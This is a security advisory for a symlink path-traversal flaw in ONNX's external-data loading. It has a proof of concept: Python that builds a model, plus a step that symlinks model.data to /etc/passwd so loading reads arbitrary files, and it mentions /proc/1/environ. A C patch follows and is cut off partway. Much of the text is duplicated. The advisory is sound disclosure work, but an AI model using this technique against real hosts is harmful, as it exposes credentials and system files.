CVE-2026-27489

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

Summary

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

Details

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

PoC

# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")

    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )

    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)

    data_file = output_path.replace('.onnx', '.data')

    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)

    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )

if __name__ == "__main__":
    create_onnx_model("model.onnx")

1. Run the above code to generate a sample model with external data.
2. Remove model.data
3. Run ln -s /etc/passwd model.data
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded

import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model

def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model

if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Sample patch

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

int open_external_file_no_symlink(const char *base_dir,
                                  const char *relative_path) {
    int dirfd = -1;
    int fd = -1;
    struct stat st;

    // Open base directory
    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
    if (dirfd < 0) {
        return -1;
    }

    // Open the target relative to base_dir
    // O_NOFOLLOW => fail if final path component is a symlink
    fd = openat(dirfd,
                relative_path,
                O_RDONLY | O_NOFOLLOW);
    close(dirfd);

    if (fd < 0) {
        // ELOOP is the typical error if a symlink is encountered
        return -1;
    }

    // Inspect the *opened file*
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }

    // Enforce "regular file only"
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        errno…

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

Summary

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

Details

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

PoC

# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")

    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )

    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)

    data_file = output_path.replace('.onnx', '.data')

    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)

    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )

if __name__ == "__main__":
    create_onnx_model("model.onnx")

1. Run the above code to generate a sample model with external data.
2. Remove model.data
3. Run ln -s /etc/passwd model.data
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded

import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model

def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model

if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Sample patch

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

int open_external_file_no_symlink(const char *base_dir,
                                  const char *relative_path) {
    int dirfd = -1;
    int fd = -1;
    struct stat st;

    // Open base directory
    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
    if (dirfd < 0) {
        return -1;
    }

    // Open the target relative to base_dir
    // O_NOFOLLOW => fail if final path component is a symlink
    fd = openat(dirfd,
                relative_path,
                O_RDONLY | O_NOFOLLOW);
    close(dirfd);

    if (fd < 0) {
        // ELOOP is the typical error if a symlink is encountered
        return -1;
    }

    // Inspect the *opened file*
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }

    // Enforce "regular file only"
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        errno…

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.